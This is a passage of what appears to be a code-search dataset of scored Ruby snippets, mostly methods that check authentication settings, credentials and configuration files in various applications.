"score": "0.54201055", "text": "def use_authentication?\n auth = _get_option('use_authentication')\n if !auth || (_get_entity_detail('source') == \"configuration\")\n _log 'Cannot use authentication if bucket belongs to API key as false positives will occur.'\n auth = false\n end\n auth\n end", "title": "" }, { "docid": "af8b6396b8f109d08f039e4724e069a9", "score": "0.54149127", "text": "def doctor_config_systems\n errors = false\n\n if config_systems.empty?\n errors = true\n logger.error \"systems is empty\"\n end\n\n errors\n end", "title": "" }, { "docid": "f6e098fbaa40675779cef82ecdb4273e", "score": "0.5412488", "text": "def capable_login_auth?; end", "title": "" }, { "docid": "4e4297bf2e01a0f231ce76c3a4c23ef5", "score": "0.539023", "text": "def secure_admin?\n File.exist?(\"#{context.domain_directory}/config/secure.marker\")\n end", "title": "" }, { "docid": "3076a84a952fb4219b2773e32f692e7e", "score": "0.53803736", "text": "def credentials_valid?\n zone_load_multi['result'] == 'success' rescue false\n end", "title": "" }, { "docid": "3076a84a952fb4219b2773e32f692e7e", "score": "0.53803736", "text": "def credentials_valid?\n zone_load_multi['result'] == 'success' rescue false\n end", "title": "" }, { "docid": "d9785b1cf48ba612a2e02b40237d3462", "score": "0.5361914", "text": "def option_ldap_check\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"option ldap-check \" + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end", "title": "" }, { "docid": "cede00ef9bac5f5b1665a4a378531f5c", "score": "0.5358621", "text": "def allow_auth_failures?\n return true if node.key?('virtualization') && node['virtualization']['system'] == 'vbox'\n return true if ::File.exist?('/.dockerenv')\n return true if ENV['CI']\n false\n end", "title": "" }, { "docid": "8654888f7421338c5e9c68183cf70fa3", "score": "0.5348349", "text": "def check_config\n list = []\n %w(app_key secret_key endpoint).map do |k|\n list << k unless config.has_key? k\n end\n\n raise \"[#{list.join(', ')}] not included in your yaml file.\" unless list.empty?\n end", "title": "" }, { "docid": "52dc9d1e69c14bbf1d20523f6ef8b31b", "score": "0.53471595", "text": "def configured?\n configuration_exists?\n end", "title": "" }, { "docid": "47d666e1fd8a305188673146ac599472", "score": "0.5345088", "text": "def validate_keys\n return if Util::Configuration.is_valid?\n logger.error('==== Please set all environment variables before starting the server ====')\n exit\n end", "title": "" }, { "docid": "2935e2d9c85fee70d7b67a4d1b2233de", "score": "0.5337141", "text": "def config_status\n get \"/setup/api/configcheck\", password_hash\n end", "title": "" }, { "docid": "47009f85104b9743cde138ab944876c8", "score": "0.53325", "text": "def auth?\n true\n end", "title": "" }, { "docid": "4033bb49dec7f035845425704c33d4e3", "score": "0.53318447", "text": "def validate_config!\n valid = false\n begin\n names_to_ids # Force re-evaluation of ids\n valid = (!image_id.nil? && !flavor_id.nil? && !region_id.nil?)\n rescue Excon::Errors::Unauthorized => e\n add_error \"Invalid credentials\"\n end\n valid\n end", "title": "" }, { "docid": "b875acbb873b9675e587d847e6e84ce3", "score": "0.5330551", "text": "def require_http_auth\n if `hostname` =~ /soykaf|lanpartei/i \n if auth = APP_CONFIG['http_auth']\n authenticate_or_request_with_http_basic do |user_name, password|\n user_name == auth['name'] && password == auth['password']\n end \n end\n end\n end", "title": "" }, { "docid": "372dad27f60e0b3f42075f07edb44073", "score": "0.5319665", "text": "def two_factor_auth_enabled?\n self.class.authlogic_ext_config[:two_factor_auth]\n end", "title": "" }, { "docid": "cf164d913ed822a24583e8f7af3e485b", "score": "0.53110945", "text": "def check_deprecated_jaas_config(service)\n if node[service].key?('jaas')\n %w(client server).each do |key|\n next unless node[service]['jaas'].key?(key) &&\n node[service]['jaas'][key].key?('usekeytab') &&\n node[service]['jaas'][key]['usekeytab'].to_s == 'true'\n next unless node[service]['jaas'][key]['keytab'].nil? ||\n node['hbase']['jaas'][key]['principal'].nil?\n Chef::Application.fatal!(\"You must set node['#{service}']['jaas']['#{key}']['keytab'] and node['#{service}']['jaas']['#{key}']['principal'] with node['#{service}']['jaas'][key]['usekeytab']\")\n end\n end\n Chef::Log.warn(\"Using node['#{service}']['jaas'] is deprecated. Use node['#{service}']['client_jaas'] and node['#{service}']['master_jaas'], instead\") if node[service].key?('jaas')\n end", "title": "" }, { "docid": "0b990a813c7300bc2a76c8c3f8d1ed35", "score": "0.5309403", "text": "def password_authentication?\n # if the vm has a linux configuration then interrogate that, otherwise return true\n if !vm.os_profile.linux_configuration.nil?\n !vm.os_profile.linux_configuration.disable_password_authentication\n else\n true\n end\n end", "title": "" }, { "docid": "c491f2bf0466768ef1fe0e3d5bb1885a", "score": "0.53059494", "text": "def verification?\n configuration.secret.nil? == false\n end", "title": "" }, { "docid": "9443dc2d73a0f8a325c400b64c4b931f", "score": "0.52999955", "text": "def app_name_configured?\n names = Agent.config[:app_name]\n return names.respond_to?(:any?) && names.any?\n end", "title": "" }, { "docid": "d8be810e13f0fa4646fc0102d0704c2b", "score": "0.52909184", "text": "def application_credentials?\n !!application_credentials\n end", "title": "" }, { "docid": "c1c201794cff25c253ae3cae9365a33b", "score": "0.5287463", "text": "def cas_configured?\n return true unless @facility.details[:configurable_835]\n @segments_list[:CAS][:CAS00][0].eql?('code_value') ? true : false\n end", "title": "" }, { "docid": "35262689a0ee1aafcd12b773388e9ec3", "score": "0.52819693", "text": "def verify_configuration\n if options.config_check?\n unless File.exists?(\"#{Rails.root}/config/initializers/cambium.rb\")\n help_message('cambium_prereqs')\n exit\n end\n end\n end", "title": "" }, { "docid": "1f8210b5b2d2f94b64b74c1567bdd495", "score": "0.52752733", "text": "def check_saas\n @ok = (SETTINGS['saas_registration_mode'] && current_user.super_admin?)\n end", "title": "" }, { "docid": "b590ee0d615bbc36154dcc6db1b547cd", "score": "0.52750534", "text": "def exists?\n conf.has_key? 'dashboard'\n end", "title": "" }, { "docid": "13f0ab047b2122f610d94a2000879c69", "score": "0.5270723", "text": "def validate_config\n # if @cfg.keys != [:user]\n unless @cfg.has_key?( :user )\n raise TaskConfigError.new \"Top level keys needs to contain 'user'\"\n end\n if (@cfg[:user].keys <=> [:collections, :works]) < 1\n raise TaskConfigError.new \"user can only contain collections and works\"\n end\n end", "title": "" }, { "docid": "0f7f7971c1f6d4422fa6e406a535aff3", "score": "0.52674913", "text": "def check_missing_authentication\n $abst_states.each do |n, s|\n if s.type == 'controller' && !s.req_policies[0].nil? && s.routed\n if s.req_policies[0].is_authenticated # A_\n if s.code_policy.is_authenticated\n # Good\n else\n # No PEP\n s.req_error = true\n type = 'Missing authentication'\n msg = \"[Req:O, Code:X] No authentication for #{s.domain}\" # TODO: get URL also\n end\n else # pub, __\n if s.code_policy.is_authenticated\n # No Req\n s.req_error = true\n type = 'Missing authentication'\n msg = \"[Req:X, Code:O] No authentication for #{s.domain}\" # TODO: get URL also\n else\n # Good, both req and code are public\n end\n end\n end\n\n if s.req_error\n w = Hash.new\n w['warning_type'] = type\n w['message'] = msg\n w['file'] = s.filename\n w['line'] = nil\n w['code'] = nil\n w['location'] = nil\n w['user_input'] = nil\n w['confidence'] = 'High' # Weak Medium High\n $warning.add(w)\n print_pep_error(s, 'authentication') if $enable_stdout\n end\n end\n end", "title": "" }, { "docid": "892505205d198109685beb9ac017d9dc", "score": "0.52655524", "text": "def check_config_and_start_agent\n return unless monitoring? && has_correct_license_key?\n return if using_forking_dispatcher?\n\n setup_and_start_agent\n end", "title": "" }, { "docid": "a8c808e54ef24434d4a1ec4cac658d28", "score": "0.52635676", "text": "def auth_enabled?\n if @auth_enabled.nil?\n @auth_enabled = begin\n basic_client.use(:admin).command(getCmdLineOpts: 1).first[\"argv\"].include?(\"--auth\")\n rescue => e\n e.message =~ /(not authorized)|(unauthorized)|(no users authenticated)|(requires authentication)/\n end\n end\n @auth_enabled\n end", "title": "" }, { "docid": "a8c808e54ef24434d4a1ec4cac658d28", "score": "0.52635676", "text": "def auth_enabled?\n if @auth_enabled.nil?\n @auth_enabled = begin\n basic_client.use(:admin).command(getCmdLineOpts: 1).first[\"argv\"].include?(\"--auth\")\n rescue => e\n e.message =~ /(not authorized)|(unauthorized)|(no users authenticated)|(requires authentication)/\n end\n end\n @auth_enabled\n end", "title": "" }, { "docid": "9da03cf3b10f8d889c18bebec7c4e29e", "score": "0.5258475", "text": "def configured?\n true\n end", "title": "" }, { "docid": "5435f5380ebea168fe9aa942275aa38a", "score": "0.5254762", "text": "def validate_env\n validate_keys :rock_key, :rock_username, :rock_password\n end", "title": "" }, { "docid": "707c63736d7b258a50771ad76f570223", "score": "0.525271", "text": "def check_credentials(username, password)\n return false\n end", "title": "" }, { "docid": "4254ae8579be0234cfcc242edf9386cd", "score": "0.52460635", "text": "def validate_authentication_options!\n auth_mech = options[:auth_mech]\n user = options[:user]\n password = options[:password]\n auth_source = options[:auth_source]\n mech_properties = options[:auth_mech_properties]\n\n if auth_mech.nil?\n if user && user.empty?\n raise Mongo::Auth::InvalidConfiguration, 'Empty username is not supported for default auth mechanism'\n end\n\n if auth_source == ''\n raise Mongo::Auth::InvalidConfiguration, 'Auth source cannot be empty for default auth mechanism'\n end\n\n return\n end\n\n if !Mongo::Auth::SOURCES.key?(auth_mech)\n raise Mongo::Auth::InvalidMechanism.new(auth_mech)\n end\n\n if user.nil? && !%i(aws mongodb_x509).include?(auth_mech)\n raise Mongo::Auth::InvalidConfiguration, \"Username is required for auth mechanism #{auth_mech}\"\n end\n\n if password.nil? && !%i(aws gssapi mongodb_x509).include?(auth_mech)\n raise Mongo::Auth::InvalidConfiguration, \"Password is required for auth mechanism #{auth_mech}\"\n end\n\n if password && auth_mech == :mongodb_x509\n raise Mongo::Auth::InvalidConfiguration, 'Password is not supported for :mongodb_x509 auth mechanism'\n end\n\n if auth_mech == :aws && user && !password\n raise Mongo::Auth::InvalidConfiguration, 'Username is provided but password is not provided for :aws auth mechanism'\n end\n\n if %i(aws gssapi mongodb_x509).include?(auth_mech)\n if !['$external', nil].include?(auth_source)\n raise Mongo::Auth::InvalidConfiguration, \"#{auth_source} is an invalid auth source for #{auth_mech}; valid options are $external and nil\"\n end\n else\n # Auth source is the database name, and thus cannot be the empty string.\n if auth_source == ''\n raise Mongo::Auth::InvalidConfiguration, \"Auth source cannot be empty for auth mechanism #{auth_mech}\"\n end\n end\n\n if mech_properties && !%i(aws gssapi).include?(auth_mech)\n raise Mongo::Auth::InvalidConfiguration, \":mechanism_properties are not supported for auth mechanism #{auth_mech}\"\n end\n end", "title": "" }, { "docid": "458f045465a1abf59c4922e529d6217a", "score": "0.5242418", "text": "def authenticable?\n Chimps.config[:catalog][:key] && Chimps.config[:catalog][:secret]\n end", "title": "" }, { "docid": "1eea3fd8eb828819ef6f0f9f972d2f8a", "score": "0.5234602", "text": "def authorized?\n auth_config = settings.config['authentication']\n @auth ||= Rack::Auth::Basic::Request.new(request.env)\n @auth.provided? and @auth.basic? and @auth.credentials and @auth.credentials == [auth_config['username'], auth_config['password']]\n end", "title": "" }, { "docid": "b4f410b47708e2ac9e3275a4aee0e30b", "score": "0.523295", "text": "def config_service?\n true\n end", "title": "" }, { "docid": "ee304a77b3f958a41852e51840e59b25", "score": "0.5232033", "text": "def setup_credentials\n unless yes?('Would you like to configure and store your credentials?')\n $stderr.puts \"Unable to proceed without credentials\"\n exit 1\n end\n\n begin\n choice = choose do |menu|\n menu.prompt = 'Which type of credentials would you like to set up? (token is highly recommended) '\n menu.choices(:password, :token, :none)\n end.to_sym\n end until [:password, :token, :none].include? choice\n\n if choice == :password\n setup_password_credentials\n elsif choice == :token\n setup_token_credentials\n else\n return false\n end\n rescue StandardError => e\n options.debug ? warn(e) : raise(e)\n false\n end", "title": "" }, { "docid": "11d47961b41dbf8641ef56b6740eecb6", "score": "0.5228774", "text": "def check_if_logged_in\n abort(\"You must login first with: lpass login <login@name.com>\") if system(\"lpass status -q\") == false\n end", "title": "" }, { "docid": "f13388626dce59e352cffc4b84e0ce43", "score": "0.52079046", "text": "def check_authentication\n # If path not define then we must be in an isolated engine. In that\n # case security doesn't apply (it does say it wants to be isolated).\n return unless respond_to? :login_url\n\n raise Logmein::NotAuthenticated unless\n is_public_action? || authenticated_record\n end", "title": "" }, { "docid": "4d2364b7528a2fb5ae3e478f7b6153ab", "score": "0.5204004", "text": "def auth?\n false\n end", "title": "" }, { "docid": "117820a3b222e7dece6a8fa151c10f48", "score": "0.52039415", "text": "def need_auth?\n @options[:username] || ENV['MEMCACHE_USERNAME']\n end", "title": "" }, { "docid": "0900f3775623e5a87089b925541c7f52", "score": "0.5203353", "text": "def pam_supports_sshd?\n pam_config_path = \"/wpars/#{config[:wpar_name]}/etc/pam.conf\"\n account_output=ssh_command(\"#{config[:sudo]} grep '#{config[:pam_sshd_account_rule]}' #{pam_config_path}\", :stderr)\n session_output=ssh_command(\"#{config[:sudo]} grep '#{config[:pam_sshd_session_rule]}' #{pam_config_path}\", :stderr)\n\n unless account_output.include?(\"#{config[:pam_sshd_account_rule]}\")\n return false\n end\n unless session_output.include?(\"#{config[:pam_sshd_session_rule]}\")\n return false\n end\n\n true\n end", "title": "" }, { "docid": "514f158878ca40dd96694182b08cd44a", "score": "0.5199563", "text": "def user_exists? env, username\n return false if config.nil? || config.empty?\n return true if config[env].has_key? username\n end", "title": "" }, { "docid": "a92c4eee70c5d4d8e3b33a87cdbe90e2", "score": "0.51943487", "text": "def initialized?\n server.present? && username.present? && api_token.present?\n end", "title": "" }, { "docid": "ff8f6be5e14bcdfb40b55053fffe7728", "score": "0.5193084", "text": "def standalone?\n Merb.root == ::MerbAuthSlicePassword.root\n end", "title": "" }, { "docid": "5776737c5c09f5297a88eb3428da69d6", "score": "0.5191906", "text": "def exists\n begin\n get_settings\n rescue AlgoliaProtocolError => e\n if e.code === 404\n return false\n end\n\n raise e\n end\n return true\n end", "title": "" }, { "docid": "5edab38eb1790477e97613d0b333d9c8", "score": "0.51890343", "text": "def test_config\n load_config\n assert(@config.key?('user'))\n assert(@config.key?('pass'))\n assert(@config.key?('port'))\n assert(@config.key?('uri'))\n assert(@config.key?('callback_host'))\n assert(@config.key?('autopwn_url'))\n end", "title": "" }, { "docid": "d07f9ab9732e8c93485f1876a449a86e", "score": "0.5183743", "text": "def credentials?\n oauth.values.all? || basic_auth.values.all?\n end", "title": "" }, { "docid": "cdc5ff8ed2ffb9b77ef115f6059e0d31", "score": "0.5183713", "text": "def check_environment\n if @hostname == nil || @port == nil || @username == nil || @api_key == nil\n raise \"environment variables not set. Please check that you have the following set...\\nJENKINS_HOSTNAME\\nJENKINS_PORT\\nJENKINS_USERNAME\\nJENKINS_API_KEY\"\n end\nend", "title": "" }, { "docid": "cdc5ff8ed2ffb9b77ef115f6059e0d31", "score": "0.5183713", "text": "def check_environment\n if @hostname == nil || @port == nil || @username == nil || @api_key == nil\n raise \"environment variables not set. Please check that you have the following set...\\nJENKINS_HOSTNAME\\nJENKINS_PORT\\nJENKINS_USERNAME\\nJENKINS_API_KEY\"\n end\nend", "title": "" }, { "docid": "e66bbaa1f8205aa86f998fb2b3594be5", "score": "0.5183175", "text": "def authenticated_end_user?(args) \n config = configuration.auth ? true : false\n arg = args[:auth]\n if ! arg.nil?\n arg ? true : false\n elsif ! config.nil?\n config ? true : false\n else\n false\n end\n end", "title": "" }, { "docid": "209996a3def32ebfb3a01ac2d7d9afb2", "score": "0.5181711", "text": "def check\n if @config['name'].nil?\n Utils.fail('in your configuration file: no name given')\n end\n\n if @config['hosts']\n unless @config['hosts'].is_a? Array\n Utils.fail('hosts should be an array')\n end\n\n @config['hosts'].each_with_index do |h, i|\n if h['im_mad'].nil?\n Utils.fail(\"in configuration file: no im_mad #{i + 1}\")\n end\n\n if h['vm_mad'].nil?\n Utils.fail(\"in configuration file: no vm_mad #{i + 1}\")\n end\n\n next unless h['provision']['hostname'].nil?\n\n Utils.fail(\"in configuration file: no hostname #{i + 1}\")\n end\n end\n\n if @config['datastores']\n unless @config['datastores'].is_a? Array\n Utils.fail('datastores should be an array')\n end\n\n @config['datastores'].each_with_index do |d, i|\n if d['tm_mad'].nil?\n Utils.fail(\"in configuration file: no tm_mad #{i + 1}\")\n end\n\n next if d['type']\n\n next if d['ds_mad']\n\n Utils.fail(\"in configuration file: no ds_mad #{i + 1}\")\n end\n end\n\n return unless @config['networks']\n\n unless @config['networks'].is_a? Array\n Utils.fail('networks should be an array')\n end\n\n @config['networks'].each_with_index do |n, i|\n next unless n['vn_mad'].nil?\n\n Utils.fail(\"in configuration file: no vn_mad #{i + 1}\")\n end\n end", "title": "" }, { "docid": "0b36c9b588749af31ae17e9416cdf6b3", "score": "0.5179458", "text": "def credentials?(uri, challenges); end", "title": "" }, { "docid": "6b4c95babe700b66bff82c5e02b88754", "score": "0.51730835", "text": "def authorized?\n @auth ||= Rack::Auth::Basic::Request.new(request.env)\n\n @auth.provided? &&\n @auth.basic? &&\n @auth.credentials &&\n @auth.credentials == [ENV['RUMBLELOG_ADMIN_USERNAME'],\n ENV['RUMBLELOG_ADMIN_PASSWORD']]\n end", "title": "" }, { "docid": "b0698dab3634c46c5f2e4853354d93e6", "score": "0.5171078", "text": "def properly_configured?\n options = {\n open_timeout: 5,\n use_ssl: true, # all connections are forced SSL now\n verify_mode: OpenSSL::SSL::VERIFY_NONE # because we might not have a valid cert yet\n }\n Net::HTTP.start(website_alias, options) do |http|\n response = http.get(\"/tenant_aliases/#{id}/verify\")\n\n return false unless response.is_a?(Net::HTTPSuccess)\n\n response.body == \"TRUE\"\n end\n rescue SocketError, Net::OpenTimeout, Errno::ECONNREFUSED\n # SocketError if the server name doesn't exist in DNS\n # OpenTimeout if no server responds\n # ECONNREFUSED if the server responds with \"No\"\n false\n end", "title": "" }, { "docid": "a062bbe09e4576cadf541b7dbf7bf9fe", "score": "0.5164463", "text": "def valid?\n !Kontagent.configuration.base_url.nil? && !Kontagent.configuration.api_key.nil? && !Kontagent.configuration.secret_key.nil? \n end", "title": "" }, { "docid": "cb6356e4b15ab2dd0c426bd18b4dddce", "score": "0.51569474", "text": "def chk_krb_config(cm, cm_config, svc_type)\n msg = \"'krb5.conf' is not defined in #{CM_LIST} for '#{cm}:#{svc_type}'\"\n krb5conf = cm_config.dig('service', svc_type, 'kerberos', 'krb5.conf')\n raise CMUXKerberosError, msg if krb5conf.nil?\n\n msg = \"#{krb5conf} is not exist.\"\n krb5conf = to_absolute_path(krb5conf, CONF_HOME)\n return krb5conf if File.exist?(krb5conf)\n raise CMUXKerberosError, msg\n end", "title": "" }, { "docid": "c9479cb3c79e384e3560d5c1d5276dc6", "score": "0.51566267", "text": "def authenticated_end_user?(args)\n config = configuration.auth ? true : false\n arg = args[:auth]\n if ! arg.nil?\n arg ? true : false\n elsif ! config.nil?\n config ? true : false\n else\n false\n end\n end", "title": "" }, { "docid": "c9479cb3c79e384e3560d5c1d5276dc6", "score": "0.51566267", "text": "def authenticated_end_user?(args)\n config = configuration.auth ? true : false\n arg = args[:auth]\n if ! arg.nil?\n arg ? true : false\n elsif ! config.nil?\n config ? true : false\n else\n false\n end\n end", "title": "" }, { "docid": "f47184d4be8778f30334be0938ce7459", "score": "0.51557076", "text": "def check_config_format(config_path)\n $config = YAML::load(File.open(config_path))\n \n if !$config\n p \"Nothing in configuration. Exiting...\"\n exit 2\n elsif !$config['apps']\n p \"No applications in configuration. Exiting...\"\n exit 2\n elsif !$config['urls']\n p \"WARN: No URLs in configuration\"\n return true\n end\nend", "title": "" } ]
f21916a03c489a99571dab06f7f9985c
Show a single celebrity
[ { "docid": "b7fedfe61f6bc8798933f6a8f3d9f860", "score": "0.65124387", "text": "def show\n # @celebrity_to_show = {}\n for celebrity in session[:celebrities]\n if params[:name] == celebrity['name']\n @celebrity = celebrity\n end\n end\n end", "title": "" } ]
[ { "docid": "dd578edb55d8f70fdf345e0240e4bd79", "score": "0.6719986", "text": "def show\n @celebrity = Celebrity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @celebrity }\n end\n end", "title": "" }, { "docid": "2b643796b656d06345264317981060eb", "score": "0.6616045", "text": "def charity_show\n @admin = User.get_admin\n @charity = Charity.find_by_domain( params[ :charity_id ] )\n end", "title": "" }, { "docid": "13af82628a3d6698de37bb581b33cfe8", "score": "0.6575492", "text": "def show\n redirect_to celebrity_path\n end", "title": "" }, { "docid": "3dec6aa29c0fa38637b2e05187e2794b", "score": "0.63187337", "text": "def show\n @cics = Cic.order(:presidency)\n #cic = Cic.find(:presidency)\n end", "title": "" }, { "docid": "a671eda72b7b42050def0f0cb571f24e", "score": "0.63134253", "text": "def show\n\t\t@concentration = Concentration.find(params[:id])\n\tend", "title": "" }, { "docid": "a671eda72b7b42050def0f0cb571f24e", "score": "0.63134253", "text": "def show\n\t\t@concentration = Concentration.find(params[:id])\n\tend", "title": "" }, { "docid": "9948d09b1099722d48436162195fdb47", "score": "0.6289562", "text": "def show\n @charity = Charity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @charity }\n end\n end", "title": "" }, { "docid": "9948d09b1099722d48436162195fdb47", "score": "0.6289562", "text": "def show\n @charity = Charity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @charity }\n end\n end", "title": "" }, { "docid": "3daf1334641a36f0ec5d21cee6fb4d64", "score": "0.6288296", "text": "def show\n @civic = Civic.first\n end", "title": "" }, { "docid": "b77d4d5f14d3169939399ccecf0b487f", "score": "0.61965585", "text": "def show\n catalogo = Catalogo.find(@paquete_turistico.pqt_tipo_paquete)\n @tipo_paquete = catalogo.ctlg_valor_desc\n end", "title": "" }, { "docid": "00a4db8b88fade7379b533c6c5abcfe0", "score": "0.60665965", "text": "def show\n @celebration = Celebration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @celebration }\n end\n end", "title": "" }, { "docid": "8ef269a19995a0b9c1fb87c41117dab6", "score": "0.6046021", "text": "def show\n mess_and_style(@cash.sum_curry, @cash.sum_usd, @cash.cash_date)\n end", "title": "" }, { "docid": "3cf43e3bc641b5244645710882a19a7b", "score": "0.6018324", "text": "def centrality\n @centrality.centrality\n end", "title": "" }, { "docid": "548746875d72641122589abe42c87265", "score": "0.5989818", "text": "def show\n\n @company = Company.find(1)\n @cargas = @company.get_cargas()\n end", "title": "" }, { "docid": "632a1c2476e0d9b9cfaa9877398fba47", "score": "0.5983399", "text": "def show\n @cemetery = Cemetery.find(params[:id])\nend", "title": "" }, { "docid": "b2d67252d0e66217bce9d1aa33233978", "score": "0.59627944", "text": "def cyan\n @c * 100.0\n end", "title": "" }, { "docid": "79d3a7a8d6848339caad15f3dd17bdf9", "score": "0.5939011", "text": "def show\n @agreemnt = Agreemnt.find(params[:id])\n\n if @agreemnt.agreemnt_type == \"МСС\"\n\n @standards = \"Международни стандарти за финасови отчети\"\n @balance = \"отчет за финансовото състояние\"\n @opr = \"отчет за доходите\"\n @osk = \"отчет за промените в собствения капитал\"\n else\n @standards = \"Национални стандарти за финансови отчети за малки и средни предприятия\"\n @balance = \"баланс\"\n @opr = \"отчет за приходите и разходите\"\n @osk = \"отчет за собствения капитал\"\n end\n end", "title": "" }, { "docid": "a0e9046f559cd712c1b1a52d02e1f929", "score": "0.58851075", "text": "def show\n edi = Editora.find(params[:id])\n cid = Cidade.find_by id: edi[\"cidade_id\"]\n if cid == nil\n @city = \"\"\n else\n @city = cid[\"nome\"]\n end\n end", "title": "" }, { "docid": "c3588a8dc6b5efcabb87a32afafe53dd", "score": "0.5869668", "text": "def show\n @cfr_city = City.find(@cfr_product[:city_id])\n end", "title": "" }, { "docid": "4fbe1feb518d1a2ff02728835c33a916", "score": "0.5868874", "text": "def show\n\t@vis_equip= VisiteEquipement.find(:all,:conditions=>[\"idequipement=? and nom=?\",@montage_equipement.idequipement,\"visite montage\"])\n end", "title": "" }, { "docid": "25838389015ccfbe2e49f4020c7e82d6", "score": "0.5852331", "text": "def show\n @compra = Compra.last\n end", "title": "" }, { "docid": "355e2f928fb60640c3f6df6f9e6bbabb", "score": "0.5842853", "text": "def show\n @ecn = Ecn.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ecn }\n end\n end", "title": "" }, { "docid": "a529c1389f6445b472c49562bb63ffae", "score": "0.5841049", "text": "def show\n @cage = Cage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cage }\n end\n end", "title": "" }, { "docid": "da468bf5dd7a275d704501907087cee6", "score": "0.58382684", "text": "def show\n # @uni = @discipline_university.university\n # @d = @discipline_university.discipline\n end", "title": "" }, { "docid": "4711e020344f5770d59a32789b742f15", "score": "0.5831504", "text": "def show\n @cours_ens = @cours.where(:enseignant_id => @enseignant.id).all\n end", "title": "" }, { "docid": "01cd425a6c1c6c0937588a4435b09a58", "score": "0.58174586", "text": "def show\n @detallescta = Detallectactecli.where(ctactecli_id: @ctactecli.id)\n end", "title": "" }, { "docid": "17758549cc4acbc3f6b23ed2cd8696a5", "score": "0.58059984", "text": "def show\n @contractor = Contractor.find(params[:id])\n end", "title": "" }, { "docid": "806606a7962544f093f72ef4285d03f5", "score": "0.58025587", "text": "def show\n\t\tif current_client.nil?\n\t\t\t@select_cageot = Cageot.where(\"etat='en_cours' AND session_id = ?\", session[:cageot_id])\n\t\telse\n\t\t\t@select_cageot = Cageot.where(\"etat='en_cours' AND client_id = ?\", current_client.id) #SI CAGEOT EN COURS\n\t\tend\n\t\t\n\t\tif @select_cageot.count > 0\n\t\t\t@cageot = Cageot.find(@select_cageot[0].id)\n\t\t\t@product_cageot = RelCageotProduit.where(\"cageot_id = ? \",@cageot.id)\n\t\t\n\t\telse\n\t\t\t@cageot = nil\n\t\tend\n\tend", "title": "" }, { "docid": "e63867ca140f548f5e07f3ad29d524cf", "score": "0.57988197", "text": "def show\n @our_charity = OurCharity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @our_charity }\n end\n end", "title": "" }, { "docid": "100ad3ec02809f225bcfae57b966b825", "score": "0.57913166", "text": "def show\n @coment = Coment.new\n end", "title": "" }, { "docid": "2f6b55a227551c2c5b5cf55ec2c9d72f", "score": "0.57776207", "text": "def show\n @road_type = RoadType.find(@accomodation.road_type_id).name\n @tertiaries = @accomodation.tertiary_criteria\n end", "title": "" }, { "docid": "cfca4701fb4b4a394a61948ae7fb1914", "score": "0.5775072", "text": "def show\n @courier_cities = CourierCity.find_by_sql [\"SELECT cc.id, cc.courier_id, cc.longitude, cc.latitude, cc.city_id, cc.status, cc.created_at, cc.updated_at, ct.city_name, c.courier_name FROM courier_cities cc, cities ct, couriers c WHERE cc.courier_id = c.id AND cc.city_id = ct.id AND cc.id = ?\", params[:id]]\n end", "title": "" }, { "docid": "14e25b17613f9630fa48f18d64005c40", "score": "0.5774984", "text": "def set_clan\n show\n end", "title": "" }, { "docid": "b3fb6f9413bfb991d85219c0dbd7bd8b", "score": "0.57687074", "text": "def show\n @clase.curso = Curso.find @clase.curso_id\n end", "title": "" }, { "docid": "6d76b04a90bbec4c730c451d08ec2343", "score": "0.57458967", "text": "def show\r\n checar_egresso_super\r\n end", "title": "" }, { "docid": "6d76b04a90bbec4c730c451d08ec2343", "score": "0.57458967", "text": "def show\r\n checar_egresso_super\r\n end", "title": "" }, { "docid": "6d76b04a90bbec4c730c451d08ec2343", "score": "0.57458967", "text": "def show\r\n checar_egresso_super\r\n end", "title": "" }, { "docid": "847f7cae8a312778d7a052bdae332981", "score": "0.57417953", "text": "def show\n @title_view = 'Tipos de Cuidado y Mantenimiento'\n @cultural_heritage_care_and_maintenance_type = CulturalHeritage::CareAndMaintenanceType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cultural_heritage_care_and_maintenance_type }\n end\n end", "title": "" }, { "docid": "e66e8216d54e142f50209a74614f0d99", "score": "0.5735986", "text": "def show\n c = Case.find(params[\"id\"])\n if c.charities_cases.count > 0 || charity_signed_in?\n @case = c\n else\n redirect_to cases_path, notice: 'Case not found. or you may not have access to it'\n end\n end", "title": "" }, { "docid": "e49ffc09ea5264a817beae1a672c16b7", "score": "0.5714584", "text": "def show\n @costs = @journal.costs\n end", "title": "" }, { "docid": "89926213b23a5ea984a153036132c2c7", "score": "0.5712296", "text": "def show\r\n checar_empresa_super_esp\r\n end", "title": "" }, { "docid": "71f0eae9f7bb44ae2c0df9577e0baee8", "score": "0.5710874", "text": "def show\n @city = City.find(@volunteer.city_id)\n end", "title": "" }, { "docid": "1dfd3ccab6046fc95b9eb95499d913a1", "score": "0.57029593", "text": "def velocidade\n 250\n end", "title": "" }, { "docid": "06480155b130d0196afe8b6930d851e0", "score": "0.57012063", "text": "def show\r\n @cuentum = Cuentum.find(params[:cuentum_id])\r\n @chequera = @cuentum.chequeras.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @chequera }\r\n end\r\n end", "title": "" }, { "docid": "0bb94e58cc77adf487f271485c14a4d4", "score": "0.5696891", "text": "def show\n @council = Council.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @council }\n end\n end", "title": "" }, { "docid": "3e1de411a15c6df7dadfcf795a7b6c54", "score": "0.569663", "text": "def show\n if @ticket.citizen != current_citizen\n redirect_to tickets_path, notice: 'Acces interzis.'\n end\n end", "title": "" }, { "docid": "89808e6aa3b4c05d9d486d63997f6552", "score": "0.5695538", "text": "def deity_name\n\t\tdeity.name\n\tend", "title": "" }, { "docid": "38e342adacade7f42ee5f976c3fd47c7", "score": "0.5692267", "text": "def show\n unless can? :edit, CondominiumFee\n redirect_to root_path, alert: 'Acesso negado. Permissão insuficiente.'\n end\n end", "title": "" }, { "docid": "a7ac5b30e67d43ef7fa08d263ffb900e", "score": "0.5690315", "text": "def show\n @celeb = Celeb.find(params[:id])\n\n respond_to do 